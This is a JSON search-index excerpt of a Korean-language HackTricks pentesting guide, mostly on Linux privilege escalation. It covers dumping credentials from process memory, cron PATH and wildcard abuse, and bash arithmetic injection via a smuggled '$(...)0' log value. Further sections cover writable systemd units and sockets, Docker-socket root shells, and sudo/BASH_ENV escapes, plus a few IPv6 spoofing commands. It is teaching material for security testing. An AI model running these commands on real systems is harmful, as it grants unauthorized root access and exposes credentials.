ProcDump Linux용","id":"1391","title":"ProcDump Linux용"},"1392":{"body":"프로세스 메모리를 덤프하려면 다음을 사용할 수 있습니다: https://github.com/Sysinternals/ProcDump-for-Linux https://github.com/hajzer/bash-memory-dump (root) - _root 요구사항을 수동으로 제거하여 자신이 소유한 프로세스를 덤프할 수 있습니다 Script A.5는 https://www.delaat.net/rp/2016-2017/p97/report.pdf 에서 (root 권한이 필요함)","breadcrumbs":"Linux Privilege Escalation » 도구","id":"1392","title":"도구"},"1393":{"body":"수동 예시 authenticator 프로세스가 실행 중이면: bash ps -ef | grep \\"authenticator\\"\\nroot 2027 2025 0 11:46 ? 00:00:00 authenticator process를 dump할 수 있으며 (이전 섹션을 참조하여 process의 memory를 dump하는 다양한 방법을 확인하세요) memory 안에서 credentials를 검색할 수 있습니다: bash ./dump-memory.sh 2027\\nstrings *.dump | grep -i password mimipenguin The tool https://github.com/huntergregal/mimipenguin 는 메모리에서 clear text credentials를 훔칩니다 그리고 일부 잘 알려진 파일 에서도 가져옵니다. 정상적으로 작동하려면 root 권한이 필요합니다. 기능 프로세스 이름 GDM password (Kali Desktop, Debian Desktop) gdm-password Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) gnome-keyring-daemon LightDM (Ubuntu Desktop) lightdm VSFTPd (Active FTP Connections) vsftpd Apache2 (Active HTTP Basic Auth Sessions) apache2 OpenSSH (Active SSH Sessions - Sudo Usage) sshd: 검색 Regexes/ truffleproc bash # un truffleproc.sh against your current Bash shell (e.g. $$)\\n./truffleproc.sh $$\\n# coredumping pid 6174\\nReading symbols from od...\\nReading symbols from /usr/lib/systemd/systemd...\\nReading symbols from /lib/systemd/libsystemd-shared-247.so...\\nReading symbols from /lib/x86_64-linux-gnu/librt.so.1...\\n[...]\\n# extracting strings to /tmp/tmp.o6HV0Pl3fe\\n# finding secrets\\n# results in /tmp/tmp.o6HV0Pl3fe/results.txt","breadcrumbs":"Linux Privilege Escalation » 프로세스 메모리에서의 자격 증명","id":"1393","title":"프로세스 메모리에서의 자격 증명"},"1394":{"body":"예약된 작업 중 취약한 것이 있는지 확인하세요. root가 실행하는 스크립트를 이용할 수 있을지도 모릅니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있나? symlinks를 사용하나? root가 사용하는 디렉터리에 특정 파일을 생성하나?). bash crontab -l\\nls -al /etc/cron* /etc/at*\\ncat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v \\"^#\\"","breadcrumbs":"Linux Privilege Escalation » 예약된/Cron 작업","id":"1394","title":"예약된/Cron 작업"},"1395":{"body":"예를 들어, /etc/crontab 안에서 다음과 같은 PATH를 찾을 수 있다: PATH= /home/user :/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin ( \\"user\\" 사용자가 /home/user에 쓰기 권한을 가지고 있는 점에 주목하세요 ) 이 crontab 안에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 한다면. 예를 들어: * * * * root overwrite.sh 그럼, 다음을 사용하여 root shell을 얻을 수 있다: bash echo \'cp /bin/bash /tmp/bash; chmod +s /tmp/bash\' > /home/user/overwrite.sh\\n#Wait cron job to be executed\\n/tmp/bash -p #The effective uid and gid to be set to the real uid and gid","breadcrumbs":"Linux Privilege Escalation » Cron path","id":"1395","title":"Cron path"},"1396":{"body":"root로 실행되는 스크립트에 명령어 중 “ * ”가 포함되어 있으면, 이를 이용해 예상치 못한 동작(예: privesc)을 유발할 수 있습니다. 예: bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called \\"-e sh myscript.sh\\" so the script will execute our script 와일드카드가 다음과 같은 경로 앞에 있을 경우 /some/path/* 취약하지 않습니다 (심지어 ./* 도 취약하지 않습니다). Read the following page for more wildcard exploitation tricks: Wildcards Spare tricks","breadcrumbs":"Linux Privilege Escalation » 와일드카드가 있는 스크립트를 사용하는 Cron (Wildcard Injection)","id":"1396","title":"와일드카드가 있는 스크립트를 사용하는 Cron (Wildcard Injection)"},"1397":{"body":"Bash는 ((...)), $((...)) 및 let에서 산술 평가 전에 parameter expansion과 command substitution을 수행합니다. 만약 root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 이를 산술 컨텍스트에 전달한다면, 공격자는 cron이 실행될 때 root로 실행되는 command substitution $(...)을 주입할 수 있습니다. Why it works: Bash에서는 확장이 다음 순서로 일어납니다: parameter/variable expansion, command substitution, arithmetic expansion, 그다음에 word splitting 및 pathname expansion. 따라서 $(/bin/bash -c \'id > /tmp/pwn\')0 같은 값은 먼저 substitution되어(명령이 실행됨), 남은 숫자 0가 산술에 사용되어 스크립트가 오류 없이 계속됩니다. Typical vulnerable pattern: bash #!/bin/bash\\n# Example: parse a log and \\"sum\\" a count field coming from the log\\nwhile IFS=\',\' read -r ts user count rest; do\\n# count is untrusted if the log is attacker-controlled\\n(( total += count )) # or: let \\"n=$count\\"\\ndone < /var/www/app/log/application.log Exploitation: 파싱되는 로그에 공격자가 제어하는 텍스트를 기록하게 해서, 숫자처럼 보이는 필드에 command substitution이 포함되고 끝이 숫자로 끝나도록 만드세요. 명령이 stdout에 출력되지 않도록 하거나 리다이렉트하여 산술이 유효하도록 하세요. bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):\\n$(/bin/bash -c \'cp /bin/bash /tmp/sh; chmod +s /tmp/sh\')0\\n# When the root cron parser evaluates (( total += count )), your command runs as root.","breadcrumbs":"Linux Privilege Escalation » cron 로그 파서에서의 Bash arithmetic expansion injection","id":"1397","title":"cron 로그 파서에서의 Bash arithmetic expansion injection"},"1398":{"body":"If you can modify a cron script executed by root, you can get a shell very easily: bash echo \'cp /bin/bash /tmp/bash; chmod +s /tmp/bash\' > \\n#Wait until it is executed\\n/tmp/bash -p root에 의해 실행되는 script가 당신이 완전한 접근 권한을 가진 directory 를 사용한다면, 그 폴더를 삭제하고 당신이 제어하는 script를 제공하도록 다른 폴더로 가리키는 symlink 폴더를 생성하는 것 이 유용할 수 있습니다. bash ln -d -s ","breadcrumbs":"Linux Privilege Escalation » Cron script overwriting and symlink","id":"1398","title":"Cron script overwriting and symlink"},"1399":{"body":"프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 이용해 escalate privileges 할 수도 있습니다. 예를 들어, 1분 동안 매 0.1초마다 모니터링하고 , 실행 빈도가 적은 명령 순으로 정렬한 뒤 가장 많이 실행된 명령들을 삭제하려면 다음을 실행할 수 있습니다: bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v \\"\\\\[\\" | sed \'/^.\\\\{200\\\\}./d\' | sort | grep -E -v \\"\\\\s*[6-9][0-9][0-9]|\\\\s*[0-9][0-9][0-9][0-9]\\"; rm /tmp/monprocs.tmp; 또한 사용할 수 있습니다 pspy (이 도구는 시작되는 모든 process를 모니터링하고 나열합니다).","breadcrumbs":"Linux Privilege Escalation » 자주 실행되는 cron jobs","id":"1399","title":"자주 실행되는 cron jobs"},"14":{"body":"Last Tower Solutions는 교육 및 핀테크 기관을 위한 전문 사이버 보안 서비스를 제공하며, 침투 테스트, 클라우드 보안 평가 및 준수 준비 (SOC 2, PCI-DSS, NIST)에 중점을 둡니다. 우리 팀은 OSCP 및 CISSP 인증 전문가 로 구성되어 있으며, 모든 참여에 깊은 기술 전문성과 업계 표준 통찰력을 제공합니다. 우리는 수동적이고 정보 기반의 테스트 를 통해 자동화된 스캔을 넘어 고위험 환경에 맞춤화된 서비스를 제공합니다. 학생 기록을 보호하는 것부터 금융 거래를 보호하는 것까지, 우리는 조직이 가장 중요한 것을 방어하도록 돕습니다. “양질의 방어는 공격을 아는 것을 요구합니다. 우리는 이해를 통해 보안을 제공합니다.” 최신 사이버 보안 정보를 얻으려면 우리의 블로그 를 방문하세요. Last Tower Solutions | Cybersecurity Consulting for Educational Institutions","breadcrumbs":"HackTricks » Last Tower Solutions","id":"14","title":"Last Tower Solutions"},"140":{"body":"일부 OS는 네트워크에서 전송된 RA packets의 정보를 기본적으로 gateway로 설정합니다. 공격자를 IPv6 router로 선언하려면 다음을 사용할 수 있습니다: bash sysctl -w net.ipv6.conf.all.forwarding=1 4\\nip route add default via dev wlan0\\nfake_router6 wlan0 fe80::01/16","breadcrumbs":"Pentesting Network » IPv6 Router Advertisement Spoofing/Flooding","id":"140","title":"IPv6 Router Advertisement Spoofing/Flooding"},"1400":{"body":"cronjob을 생성할 때 주석 뒤에 carriage return을 넣는 것 (newline character 없이)이 가능하며, 그러면 cron job이 동작합니다. 예 (carriage return char에 주의): bash #This is a comment inside a cron config file\\\\r* * * * * echo \\"Surprise!\\"","breadcrumbs":"Linux Privilege Escalation » 보이지 않는 cron jobs","id":"1400","title":"보이지 않는 cron jobs"},"1401":{"body":"","breadcrumbs":"Linux Privilege Escalation » 서비스","id":"1401","title":"서비스"},"1402":{"body":"어떤 .service 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면 이를 수정하여 서비스가 시작될 때 , 재시작될 때 또는 중지될 때 백도어가 실행되도록 만들 수 있습니다(머신을 재부팅해야 할 수도 있습니다). 예를 들어 .service 파일 안에 백도어를 다음과 같이 생성하세요: ExecStart=/tmp/script.sh","breadcrumbs":"Linux Privilege Escalation » 쓰기 가능한 .service 파일","id":"1402","title":"쓰기 가능한 .service 파일"},"1403":{"body":"서비스에 의해 실행되는 바이너리에 대한 쓰기 권한 이 있다면, 해당 바이너리를 백도어로 교체할 수 있으며 서비스가 재실행될 때 백도어가 실행됩니다.","breadcrumbs":"Linux Privilege Escalation » 쓰기 가능한 서비스 바이너리","id":"1403","title":"쓰기 가능한 서비스 바이너리"},"1404":{"body":"다음 명령으로 systemd 가 사용하는 PATH를 확인할 수 있습니다: bash systemctl show-environment 경로의 어느 폴더에든 쓰기 권한이 있음을 발견하면 권한 상승 이 가능할 수 있습니다. 다음과 같은 파일들에서 서비스 구성에 사용되는 상대 경로 를 찾아야 합니다: bash ExecStart=faraday-server\\nExecStart=/bin/sh -ec \'ifup --allow=hotplug %I; ifquery --state %I\'\\nExecStop=/bin/sh \\"uptux-vuln-bin3 -stuff -hello\\" 그런 다음, 쓸 수 있는 systemd PATH 폴더 안에 상대 경로 바이너리와 동일한 이름의 executable 을 생성하세요, 그리고 서비스가 취약한 동작( Start , Stop , Reload )을 실행하도록 요청받으면, 당신의 backdoor 가 실행됩니다 (권한 없는 사용자는 일반적으로 서비스를 시작/중지할 수 없지만 sudo -l을 사용할 수 있는지 확인하세요). 서비스에 대해서는 man systemd.service를 참고하세요.","breadcrumbs":"Linux Privilege Escalation » systemd PATH - 상대 경로","id":"1404","title":"systemd PATH - 상대 경로"},"1405":{"body":"타이머 는 systemd 유닛 파일로서 이름이 **.timer**로 끝나며 **.service** 파일이나 이벤트를 제어합니다. 타이머 는 캘린더 시간 이벤트와 단조(monotonic) 시간 이벤트를 기본적으로 지원하고 비동기적으로 실행될 수 있어 cron의 대안으로 사용할 수 있습니다. 다음 명령으로 모든 타이머를 열거할 수 있습니다: bash systemctl list-timers --all","breadcrumbs":"Linux Privilege Escalation » 타이머","id":"1405","title":"타이머"},"1406":{"body":"타이머를 수정할 수 있다면 systemd.unit의 기존 유닛들(예: .service 또는 .target)을 실행하도록 만들 수 있습니다. bash Unit=backdoor.service 문서에서 Unit이 무엇인지 다음과 같이 설명합니다: 이 타이머가 만료되었을 때 활성화할 유닛입니다. 인수는 접미사가 \\".timer\\"가 아닌 유닛 이름입니다. 지정하지 않으면 이 값은 타이머 유닛과 이름이 같고 접미사만 다른 서비스로 기본 설정됩니다. (위 참조.) 활성화되는 유닛 이름과 타이머 유닛의 이름은 접미사를 제외하고 동일하게 명명하는 것이 권장됩니다. 따라서, 이 권한을 악용하려면 다음이 필요합니다: 어떤 systemd 유닛(예: .service)이 쓰기 가능한 바이너리를 실행하는지 찾기 상대 경로를 실행하는 systemd 유닛을 찾고, 그 실행 파일을 가장하기 위해 systemd PATH 에 대해 쓰기 권한 이 있는지 확인하기 타이머에 대해 자세히 알아보려면 man systemd.timer를 참고하세요.","breadcrumbs":"Linux Privilege Escalation » 쓰기 가능한 타이머","id":"1406","title":"쓰기 가능한 타이머"},"1407":{"body":"타이머를 활성화하려면 root 권한이 필요하며 다음을 실행해야 합니다: bash sudo systemctl enable backu2.timer\\nCreated symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. Note the timer is activated by creating a symlink to it on /etc/systemd/system/.wants/.timer","breadcrumbs":"Linux Privilege Escalation » 타이머 활성화","id":"1407","title":"타이머 활성화"},"1408":{"body":"Unix Domain Sockets (UDS) enable process communication on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket files. Sockets can be configured using .socket files. man systemd.socket로 sockets에 대해 더 알아보세요. 이 파일 내에서는 구성할 수 있는 흥미로운 매개변수들이 여러 개 있습니다: ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: 이 옵션들은 서로 다르지만 요약하면 소켓이 어디에서 listen할지를 지정 합니다 (AF_UNIX 소켓 파일의 경로, 수신할 IPv4/6 및/또는 포트 번호 등). Accept: boolean 값을 받습니다. true 인 경우, 들어오는 각 연결마다 service instance가 생성 되며 해당 연결 소켓만 전달됩니다. false 인 경우, 모든 리스닝 소켓 자체가 시작된 service unit에 전달 되며 모든 연결에 대해 하나의 서비스 유닛만 생성됩니다. 이 값은 datagram 소켓과 FIFO에 대해서는 무시되며, 이들에서는 단일 서비스 유닛이 무조건 모든 들어오는 트래픽을 처리합니다. Defaults to false. 성능상의 이유로, 새로운 데몬은 Accept=no에 적합한 방식으로만 작성하는 것이 권장됩니다. ExecStartPre, ExecStartPost: 하나 이상의 명령줄을 받으며, 리스닝 sockets /FIFOs가 각각 **생성(created)**되어 바인드되기 전 또는 후 에 실행됩니다. 명령줄의 첫 번째 토큰은 절대 파일명이어야 하며, 그 뒤에 프로세스 인자들이 옵니다. ExecStopPre, ExecStopPost: 리스닝 sockets /FIFOs가 각각 닫히고 제거 되기 전 또는 후에 실행되는 추가 명령들 입니다. Service: 들어오는 트래픽에서 활성화할 service unit 이름을 지정합니다. 이 설정은 Accept=no인 sockets에만 허용됩니다. 기본값은 소켓과 동일한 이름을 가진 서비스(접미사만 교체된)입니다. 대부분의 경우 이 옵션을 사용할 필요는 없습니다.","breadcrumbs":"Linux Privilege Escalation » Sockets","id":"1408","title":"Sockets"},"1409":{"body":"If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted. \\\\ 해당 소켓 파일 설정을 시스템이 실제로 사용하고 있어야 백도어가 실행됩니다","breadcrumbs":"Linux Privilege Escalation » Writable .socket files","id":"1409","title":"Writable .socket files"},"141":{"body":"기본적으로 일부 OS는 네트워크에서 DHCPv6 패킷을 읽어 DNS 구성을 시도합니다. 따라서 공격자는 DHCPv6 패킷을 보내 스스로 DNS로 설정할 수 있습니다. DHCP는 또한 피해자에게 IPv6 주소를 제공합니다. bash dhcp6.spoof on\\ndhcp6.spoof.domains mitm6","breadcrumbs":"Pentesting Network » IPv6 DHCP spoofing","id":"141","title":"IPv6 DHCP spoofing"},"1410":{"body":"만약 쓰기 가능한 socket 을 식별한다면 ( 여기서는 구성 .socket 파일이 아닌 Unix Sockets를 말합니다 ), 해당 socket과 통신할 수 있으며 취약점을 악용할 수도 있습니다.","breadcrumbs":"Linux Privilege Escalation » Writable sockets","id":"1410","title":"Writable sockets"},"1411":{"body":"bash netstat -a -p --unix","breadcrumbs":"Linux Privilege Escalation » Unix Sockets 열거","id":"1411","title":"Unix Sockets 열거"},"1412":{"body":"bash #apt-get install netcat-openbsd\\nnc -U /tmp/socket #Connect to UNIX-domain stream socket\\nnc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat\\nsocat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type Exploitation example: Socket Command Injection","breadcrumbs":"Linux Privilege Escalation » 원시 연결","id":"1412","title":"원시 연결"},"1413":{"body":"일부 sockets listening for HTTP 요청이 있을 수 있습니다 ( 여기서 .socket files를 말하는 것이 아니라 unix sockets로 동작하는 파일들을 말합니다 ). 다음 명령으로 확인할 수 있습니다: bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index 만약 소켓이 HTTP로 응답하는 요청이라면, 해당 소켓과 통신 할 수 있고 어쩌면 exploit 일부 취약점 할 수도 있습니다.","breadcrumbs":"Linux Privilege Escalation » HTTP sockets","id":"1413","title":"HTTP sockets"},"1414":{"body":"The Docker socket, often found at /var/run/docker.sock, is a critical file that should be secured. By default, it\'s writable by the root user and members of the docker group. Possessing write access to this socket can lead to privilege escalation. Here\'s a breakdown of how this can be done and alternative methods if the Docker CLI isn\'t available. Privilege Escalation with Docker CLI 만약 Docker 소켓에 쓰기 권한이 있다면, 다음 명령어를 사용해 권한을 상승시킬 수 있습니다: bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash\\ndocker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh 이 명령들은 호스트의 파일 시스템에 대한 root 수준 접근 권한으로 container를 실행할 수 있게 해줍니다. Using Docker API Directly Docker CLI가 없는 경우에도 Docker socket은 Docker API와 curl 명령을 사용해 여전히 조작할 수 있습니다. List Docker Images: 사용 가능한 이미지 목록을 가져옵니다. bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json Create a Container: 호스트 시스템의 루트 디렉터리를 마운트하는 container를 생성하도록 요청을 보냅니다. bash curl -XPOST -H \\"Content-Type: application/json\\" --unix-socket /var/run/docker.sock -d \'{\\"Image\\":\\"\\",\\"Cmd\\":[\\"/bin/sh\\"],\\"DetachKeys\\":\\"Ctrl-p,Ctrl-q\\",\\"OpenStdin\\":true,\\"Mounts\\":[{\\"Type\\":\\"bind\\",\\"Source\\":\\"/\\",\\"Target\\":\\"/host_root\\"}]}\' http://localhost/containers/create 새로 생성한 container를 시작합니다: bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start Attach to the Container: socat를 사용해 container에 연결을 설정하고 명령 실행을 가능하게 합니다. bash socat - UNIX-CONNECT:/var/run/docker.sock\\nPOST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1\\nHost:\\nConnection: Upgrade\\nUpgrade: tcp socat 연결을 설정한 후에는 container 내에서 호스트 파일시스템에 대한 root 수준 접근으로 직접 명령을 실행할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » 쓰기 가능한 Docker 소켓","id":"1414","title":"쓰기 가능한 Docker 소켓"},"1415":{"body":"docker socket에 대해 쓰기 권한이 있고 **inside the group docker**라면 more ways to escalate privileges 를 사용할 수 있습니다. 만약 docker API is listening in a port you can also be able to compromise it 라면 이를 공격할 수도 있습니다. 다음에서 docker에서 벗어나거나 이를 악용해 권한을 상승시키는 방법을 더 확인하세요: Docker Security","breadcrumbs":"Linux Privilege Escalation » Others","id":"1415","title":"Others"},"1416":{"body":"만약 ctr 명령을 사용할 수 있다면 다음 페이지를 읽어보세요 — 이를 악용해 권한을 상승시킬 수 있습니다 : Containerd (ctr) Privilege Escalation","breadcrumbs":"Linux Privilege Escalation » Containerd (ctr) privilege escalation","id":"1416","title":"Containerd (ctr) privilege escalation"},"1417":{"body":"만약 runc 명령을 사용할 수 있다면 다음 페이지를 읽어보세요 — 이를 악용해 권한을 상승시킬 수 있습니다 : RunC Privilege Escalation","breadcrumbs":"Linux Privilege Escalation » RunC privilege escalation","id":"1417","title":"RunC privilege escalation"},"1418":{"body":"D-Bus는 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 inter-Process Communication (IPC) system 입니다. 현대 Linux 시스템을 염두에 두고 설계되어 다양한 형태의 애플리케이션 통신을 위한 견고한 프레임워크를 제공합니다. 이 시스템은 프로세스 간 데이터 교환을 향상시키는 기본적인 IPC를 지원하며, 향상된 UNIX domain sockets을 연상시키는 방식으로 작동합니다. 또한 이벤트나 신호를 브로드캐스트하여 시스템 구성 요소 간의 원활한 통합을 돕습니다. 예를 들어 Bluetooth 데몬의 수신 호출 신호가 음악 플레이어를 음소거하게 하는 등 사용자 경험을 향상시킬 수 있습니다. 추가로 D-Bus는 원격 객체 시스템을 지원하여 서비스 요청과 메서드 호출을 단순화함으로써 전통적으로 복잡했던 프로세스를 간소화합니다. D-Bus는 allow/deny model 로 동작하며, 매칭되는 정책 규칙들의 누적된 효과에 따라 메시지 권한(method calls, signal emissions 등)을 관리합니다. 이러한 정책들은 버스와의 상호작용을 지정하며, 권한을 악용해 privilege escalation을 가능하게 할 수 있습니다. 예를 들어 /etc/dbus-1/system.d/wpa_supplicant.conf에 있는 이러한 정책의 예시는 root 사용자가 fi.w1.wpa_supplicant1을 소유하고, 이에게 메시지를 보내고, 이로부터 메시지를 받을 수 있는 권한을 상세히 설명합니다. 사용자나 그룹이 지정되지 않은 정책은 보편적으로 적용되며, \\"default\\" 컨텍스트 정책은 다른 특정 정책들에 의해 다루어지지 않는 모든 대상에 적용됩니다. xml \\n\\n\\n\\n\\n 여기에서 D-Bus 통신을 enumerate하고 exploit하는 방법을 배우세요: D-Bus Enumeration & Command Injection Privilege Escalation","breadcrumbs":"Linux Privilege Escalation » D-Bus","id":"1418","title":"D-Bus"},"1419":{"body":"네트워크를 enumerate하고 머신의 위치를 파악하는 것은 항상 흥미롭습니다.","breadcrumbs":"Linux Privilege Escalation » 네트워크","id":"1419","title":"네트워크"},"142":{"body":"","breadcrumbs":"Pentesting Network » HTTP (fake page and JS code injection)","id":"142","title":"HTTP (fake page and JS code injection)"},"1420":{"body":"bash #Hostname, hosts and DNS\\ncat /etc/hostname /etc/hosts /etc/resolv.conf\\ndnsdomainname #Content of /etc/inetd.conf & /etc/xinetd.conf\\ncat /etc/inetd.conf /etc/xinetd.conf #Interfaces\\ncat /etc/networks\\n(ifconfig || ip a) #Neighbours\\n(arp -e || arp -a)\\n(route || ip n) #Iptables rules\\n(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v \\"^#\\" | grep -Pv \\"\\\\W*\\\\#\\" 2>/dev/null) #Files used by network services\\nlsof -i","breadcrumbs":"Linux Privilege Escalation » 일반적인 enumeration","id":"1420","title":"일반적인 enumeration"},"1421":{"body":"항상 접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요: bash (netstat -punta || ss --ntpu)\\n(netstat -punta || ss --ntpu) | grep \\"127.0\\"","breadcrumbs":"Linux Privilege Escalation » 열린 포트","id":"1421","title":"열린 포트"},"1422":{"body":"sniff traffic이 가능한지 확인하세요. 가능하다면 일부 credentials를 획득할 수 있습니다. timeout 1 tcpdump","breadcrumbs":"Linux Privilege Escalation » Sniffing","id":"1422","title":"Sniffing"},"1423":{"body":"","breadcrumbs":"Linux Privilege Escalation » 사용자","id":"1423","title":"사용자"},"1424":{"body":"자신이 누구 인지, 어떤 privileges 를 가지고 있는지, 시스템에 어떤 users 가 있는지, 어떤 계정이 login 할 수 있는지, 어떤 계정이 root privileges 를 가지고 있는지 확인하세요: bash #Info about me\\nid || (whoami && groups) 2>/dev/null\\n#List all users\\ncat /etc/passwd | cut -d: -f1\\n#List users with console\\ncat /etc/passwd | grep \\"sh$\\"\\n#List superusers\\nawk -F: \'($3 == \\"0\\") {print}\' /etc/passwd\\n#Currently logged users\\nw\\n#Login history\\nlast | tail\\n#Last log of each user\\nlastlog #List all users and their groups\\nfor i in $(cut -d\\":\\" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort\\n#Current user PGP keys\\ngpg --list-keys 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » Generic Enumeration","id":"1424","title":"Generic Enumeration"},"1425":{"body":"일부 Linux 버전은 UID > INT_MAX 인 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 자세한 정보: here , here and here . Exploit it using: systemd-run -t /bin/bash","breadcrumbs":"Linux Privilege Escalation » 큰 UID","id":"1425","title":"큰 UID"},"1426":{"body":"root 권한을 부여할 수 있는 어떤 그룹의 멤버인지 확인하세요: Interesting Groups - Linux Privesc","breadcrumbs":"Linux Privilege Escalation » 그룹","id":"1426","title":"그룹"},"1427":{"body":"클립보드 안에 흥미로운 것이 있는지 확인하세요 (가능하다면) bash if [ `which xclip 2>/dev/null` ]; then\\necho \\"Clipboard: \\"`xclip -o -selection clipboard 2>/dev/null`\\necho \\"Highlighted text: \\"`xclip -o 2>/dev/null`\\nelif [ `which xsel 2>/dev/null` ]; then\\necho \\"Clipboard: \\"`xsel -ob 2>/dev/null`\\necho \\"Highlighted text: \\"`xsel -o 2>/dev/null`\\nelse echo \\"Not found xsel and xclip\\"\\nfi","breadcrumbs":"Linux Privilege Escalation » 클립보드","id":"1427","title":"클립보드"},"1428":{"body":"bash grep \\"^PASS_MAX_DAYS\\\\|^PASS_MIN_DAYS\\\\|^PASS_WARN_AGE\\\\|^ENCRYPT_METHOD\\" /etc/login.defs","breadcrumbs":"Linux Privilege Escalation » 비밀번호 정책","id":"1428","title":"비밀번호 정책"},"1429":{"body":"환경의 비밀번호를 알고 있다면 그 비밀번호를 사용해 각 사용자로 로그인해 보세요 .","breadcrumbs":"Linux Privilege Escalation » 알려진 비밀번호","id":"1429","title":"알려진 비밀번호"},"143":{"body":"","breadcrumbs":"Pentesting Network » 인터넷 공격","id":"143","title":"인터넷 공격"},"1430":{"body":"많은 소음을 발생시키는 것을 개의치 않고 대상 컴퓨터에 su와 timeout 바이너리가 존재한다면, su-bruteforce 를 사용해 사용자 계정을 무차별 대입해 볼 수 있습니다. Linpeas 는 -a 파라미터로 사용자에 대한 무차별 대입을 시도하기도 합니다.","breadcrumbs":"Linux Privilege Escalation » Su Brute","id":"1430","title":"Su Brute"},"1431":{"body":"","breadcrumbs":"Linux Privilege Escalation » 쓰기 가능한 PATH 악용","id":"1431","title":"쓰기 가능한 PATH 악용"},"1432":{"body":"만약 $PATH의 어떤 폴더에 쓰기할 수 있다면 , 당신은 쓰기 가능한 폴더 안에 백도어를 생성 하여 권한을 상승시킬 수 있습니다. 이 백도어는 다른 사용자(이상적으로는 root)가 실행할 명령어의 이름이어야 하며, $PATH에서 당신의 쓰기 가능한 폴더보다 앞에 위치한 폴더에서 로드되지 않는 것이어야 합니다.","breadcrumbs":"Linux Privilege Escalation » $PATH","id":"1432","title":"$PATH"},"1433":{"body":"sudo로 어떤 명령을 실행할 수 있을 수도 있고, 파일에 suid 비트가 설정되어 있을 수도 있습니다. 다음으로 확인하세요: bash sudo -l #Check commands you can execute with sudo\\nfind / -perm -4000 2>/dev/null #Find all SUID binaries 일부 예상치 못한 명령어들은 파일을 읽거나/또는 쓰거나 심지어 명령을 실행할 수 있게 합니다. 예를 들어: bash sudo awk \'BEGIN {system(\\"/bin/sh\\")}\'\\nsudo find /etc -exec sh -i \\\\;\\nsudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh\\nsudo tar c a.tar -I ./runme.sh a\\nftp>!/bin/sh\\nless>! ","breadcrumbs":"Linux Privilege Escalation » SUDO and SUID","id":"1433","title":"SUDO and SUID"},"1434":{"body":"Sudo 구성에 따라 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 일부 명령을 실행할 수 있습니다. $ sudo -l\\nUser demo may run the following commands on crashlab:\\n(root) NOPASSWD: /usr/bin/vim 이 예제에서 사용자 demo는 root로 vim을 실행할 수 있으므로, root 디렉터리에 ssh key를 추가하거나 sh를 호출해 쉘을 얻는 것은 이제 매우 쉽습니다. sudo vim -c \'!sh\'","breadcrumbs":"Linux Privilege Escalation » NOPASSWD","id":"1434","title":"NOPASSWD"},"1435":{"body":"이 지시어는 사용자가 무언가를 실행하는 동안 환경 변수를 설정 할 수 있게 해줍니다: bash $ sudo -l\\nUser waldo may run the following commands on admirer:\\n(ALL) SETENV: /opt/scripts/admin_tasks.sh 이 예제는 HTB machine Admirer 기반 으로, 스크립트를 root로 실행할 때 임의의 python 라이브러리를 로드하도록 PYTHONPATH hijacking 에 취약했습니다 : bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh","breadcrumbs":"Linux Privilege Escalation » SETENV","id":"1435","title":"SETENV"},"1436":{"body":"If sudoers preserves BASH_ENV (e.g., Defaults env_keep+=\\"ENV BASH_ENV\\"), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. Why it works: 비상호작용 셸에서는 Bash가 $BASH_ENV를 평가하고 대상 스크립트를 실행하기 전에 해당 파일을 source합니다. 많은 sudo 규칙이 스크립트나 셸 래퍼를 실행하도록 허용합니다. sudo가 BASH_ENV를 보존하면, 해당 파일이 root 권한으로 source됩니다. Requirements: 실행 가능한 sudo 규칙 (비상호작용으로 /bin/bash를 호출하는 대상이나, 어떤 bash 스크립트라도). BASH_ENV가 env_keep에 포함되어 있어야 함 (sudo -l로 확인). PoC: bash cat > /dev/shm/shell.sh <<\'EOF\'\\n#!/bin/bash\\n/bin/bash\\nEOF\\nchmod +x /dev/shm/shell.sh\\nBASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash\\n# You should now have a root shell 하드닝: BASH_ENV (및 ENV)을 env_keep에서 제거하고 env_reset 사용을 권장. sudo-allowed commands에 대한 shell wrappers를 피하고, 최소한의 바이너리를 사용하세요. 보존된 env vars가 사용될 경우 sudo의 I/O logging 및 alerting 도입을 